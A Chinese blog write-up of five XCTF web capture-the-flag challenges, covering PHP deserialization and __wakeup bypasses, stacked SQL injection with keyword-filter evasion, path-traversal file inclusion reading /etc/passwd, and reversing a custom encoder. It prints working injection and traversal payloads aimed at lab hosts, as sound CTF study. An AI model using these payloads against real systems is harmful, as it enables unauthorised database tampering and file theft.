【XCTF】 Web进阶区部分 WriteUp（一）

原创

KB-野原新之助 于 2020-10-24 13:39:36 发布 257 收藏

分类专栏： # XCTF 文章标签： 1024程序员节 xctf

本文链接：https://blog.csdn.net/qq_43968080/article/details/109258154

文章目录

终于搭建了自己的网站，已经初具形态，之后大部分博文都会发布在自己的网站上，少量会同步在CSDN，小伙伴们可以去那里看我的一些学习分享呦□

（最近在申请备案，因此网站暂时无法访问……）

传送门：https://www.yyxzz.net

1、unserialize3

题目是一段php代码，是反序列化题目，需要将序列化结果通过code传递。

源码保存到本地，添加序列化代码进行审计和输出测试，需要补全大括号

```php
<?php

class xctf{
 public $flag = '111';
 public function __wakeup(){
  exit('bad requests');
 }
}

$s = new xctf;
echo(serialize($s));

?>
```

首先发现，代码中存在__wakeup()魔术方法，该魔术方法在反序列化操作执行前调用，用于初始化操作，如获取必要资源等。

但是本题中`__wakeup()`内容是结束程序，因此很明显本题是要利用__wakeup()魔术方法的失效漏洞，即**在反序列化时，当对象属性个数大于真实个数，就会绕过该魔术方法直接执行反序列化操作。**

执行该代码，得到以下序列化结果：

```
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
```

将属性数量改为大于当前数量的值，比如2，然后发包，即可得到flag

2、Web_php_unserialize

一个反序列化题目，页面直接给出了源码：

```php
<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {
        @unserialize($var);
    }
} else {
    highlight_file("index.php");
}
?>
```

进行简单的审计

先是创建了一个Demo类，类中定义私有属性$file为文件名，并初始化了三个魔术方法：

- __construct() 构造函数在实例化类时执行
- __destruct() 析构函数在销毁对象时执行
- __wakeup() 在反序列化前执行

其中`__wakeup()`中给出flag文件的提示，但是如果执行该函数，则会强制将包含文件改为index.php，因此此处是一个过滤点，需要绕过。

继续往下，一个if else子句语句，GET接收var参数并进行base64解码，然后`preg_match('/[oc]:\d+:/i', $var)`做过滤，其中正则表达式的含义是：匹配**o:任意数字**或**c:任意数字**，匹配到则终止程序，因此这里也许要绕过。

总共有两个过滤点需要绕过，先编写代码对Demo类实例化对象进行序列化，得到如下结果：

```
O:4:"Demo":1:{s:10:"\00Demo\00file";s:8:"fl4g.php";}
```

(\00为手动添加，因为是私有属性，但是\00在页面不会显示，所以需要手动添加)

绕过方法：

1. 绕过执行==__wakeup()==魔术方法，根据之前做的题目，只需要将序列化后的Json串中的属性个数修改为大于真实属性个数即可绕过执行该魔术方法
2. 绕过`preg_match('/[oc]:\d+:/i', $var)`对序列化的匹配，将O:4改为O:+4即可，因为+4等同于4

所以，在源码的基础上，添加序列化以及字符替换的代码，并直接输出base64编码后的序列化结果，代码如下：

```php
<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}

$a = new Demo("fl4g.php");
$se = serialize($a);
$se = str_replace("O:4", "O:+4", $se);
$se = str_replace('"Demo":1', '"Demo":2', $se);
print(base64_encode($se));

?>
```

GET传递base64编码结果，得到flag

也可以在线编码，但是注意需要在Demo左右添加\00，因为私有属性private在序列化时会自动添加类名及\00不可打印符号，但是查看源码是可以发现的：

所以在手动修改数据并base64时，需要添加\00

3、supersqli（随便注）

分析

题目出自强网杯，2019年随便注原题。使用以下语句进行SQL注入检测，发现存在SQL注入

```
1'  //报错
1'#  //成功查询
1' or 1=1#  //爆出所有数据
```

OK，order by查询字段：

```
1' order by 2#  //成功
1' order by 3#  //报错
```

说明只有2个字段，union select试一下

```
1' union select 1,2#
```

存在过滤，禁用了**select|update|delete|drop|insert|where**关键字，所以就不能联合查询注入了。

试一下能否堆叠注入，即使用分号（;）隔开来顺序执行所有SQL语句，可以同时执行任意条。

查询数据库

```
0';show databases;
```

成功执行，可以进行堆叠注入，而且得到了题目相关的数据库supersqli，查询supersqli库内容：

```
0';show tables from `supersqli`;
```

得到两张表，再对表中字段名进行查询

```
0';show columns from `1919810931114514`;#
```

```
0';show columns from `words`;#
```

通过对上述两张表的字段分析得知，程序是从words表中提取数据，word表有2个字段，id和data。1919810931114514表中存储的是flag，但是禁用了select，无法直接查询。

根据网上师傅们的文章，得知此处有2种方式可以查询到flag：

1. 修改表结构。通过rename和alter将1919810931114514表重命名为words表，并修改字段名（添加id，修改flag字段为data），此时查询数就会查到flag
2. 使用预处理函数。通过预处理SQL来拼接SQL查询语句

方法一：修改表结构

使用以下payload将1919810931114514表重命名为tmp

```
1';rename table `1919810931114514` to `tmp`;
```

OK，可以，那就好办了，将words表和1919810931114514交换一下名字就OK，然后再给新words表加入id字段，并将原有的字段重命名为data

payload：

```
1';rename table `words` to `1919810931114514`;rename table `tmp` to `words`;alter table `words` add `id` int uns
igned not Null auto_increment primary key;alert table `words` change `flag` `data` varchar(100);
```

查询即可得到flag

方法二：预处理

```
SET @sql = concat(CHAR(115, 101, 108, 101, 99, 116)," * from `1919810931114514`");
PREPARE pre from @sql;
EXECUTE pre;
```

使用CHAR()将select的ascii码转换成字母，或是将select差分开，使用concat进行查询拼接，然后执行该查询语句，即可得到flag

payload：

```
0';SET @sql = concat(CHAR(115, 101, 108, 101, 99, 116)," * from `1919810931114514`"); PREPARE pre from @sql; EXE
CUTE pre;
```

```
0';Set @b=concat("sele","ct ","* from `1919810931114514`");prepare dump from @b;execute dump;#
```

4、warmup

题目出自2018 HCTF，打开链接（滑稽.jpg）

将图片保存到本地没有发现线索，查看网页源码，发现了提示：

存在source.php，于是地址后边跟source.php，成功输出源码

保存至本地，进行代码审计

但是审计时发现，诶，怎么有点熟悉，好像之前复现了一个phpmyadmin任意文件包含的漏洞，跟这个题目的源码逻辑一模一样，太棒了！

具体的审计过程可以参考之前的phpmyadmin漏洞复现，原理一模一样！

- 【漏洞复现】phpmyadmin后台任意文件包含（CVE-2018-12613）

这里大致说一下漏洞：

- 程序设定文件白名单，并利用？分割后的第一个数据来做白名单校验，还加入了urldecode，因此可以二次传递进行目录穿越，达到任意文件读取。

OK回到题目，经过对source.php审计发现，还有一个hint.php，因为是白名单内所以正常包含该文件，得到以下关于flag的线索：存在于 ffffllllaaaagggg 文件内

在当前目录包含失败后，考虑可能存在于根目录，于是不断尝试利用passwd文件找到根目录

payload：

```
http://220.249.52.133:54486?file=hint.php?/../../../../etc/passwd
```

根目录包含flag文件，得到flag

payload：

```
http://220.249.52.133:54486?file=hint.php?/../../../../ffffllllaaaagggg
```

5、web2

出自NSCTF，题目页面给出了一段代码，如下：

```php
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;

    for($_0=0;$_0<strlen($_o);$_0++){

        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;
    }
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法，解密$miwen就是flag
*/
?>
```

要求是逆向加密算法，解密$miwen就是flag，进行**代码审计**吧

程序其实就是自定义一个加密函数encode()，按步骤分析结果如下：

```php
function encode($str){
    $_o=strrev($str); // 将$str反转（逆序）
    for($_0=0;$_0<strlen($_o);$_0++){  // 遍历
        $_c=substr($_o,$_0,1); // $_c 等同于 $_o[$_0]
        $__=ord($_c)+1;  // $__ 等于 $_c的ascii值加1
        $_c=chr($__);  // 再将 $__ 转为ascii字符
        $_=$_.$_c;   // 字符串拼接
    }
    return str_rot13(strrev(base64_encode($_)));
    // 先base64编码、再逆序，再进行ROT13 编码（所有字母按照字母表向前移动13位）
}
```

有几个函数拿出来记录一下：

- strrev(str)：对字符串执行逆序操作，如str=abcd，执行后为dcba
- substr(str, a, n)：在字符串str中，从下标为a开始截取，共截取n个字符（不指定n则截取到末尾）。题目中n为1，a又是不断递增，所以和啊a[i]这种没有区别
- ord(s)：返回字符s的ascii码
- chr(n)：返回数字n对应的asscii字符
- str_rot13(str)：字符串str中所有字母按照字母表向前移动13位（还原就是再执行一次该函数）

知道了加密流程，解密就从后往前依次反向操作就OK了，直接用php写吧，代码如下：

```php
function decode($str){
 $_o = base64_decode(strrev(str_rot13($str)));
    $_ = "";
 for($_0 = 0; $_0 < strlen($_o); $_0++){
        $_c = substr($_o, $_0, 1);
        $__ = ord($_c) - 1;  // 解密减1
        $_c = chr($__);
        $_ = $_ . $_c;
 }
 return strrev($_);
}
```

传入密文，执行即可得到flag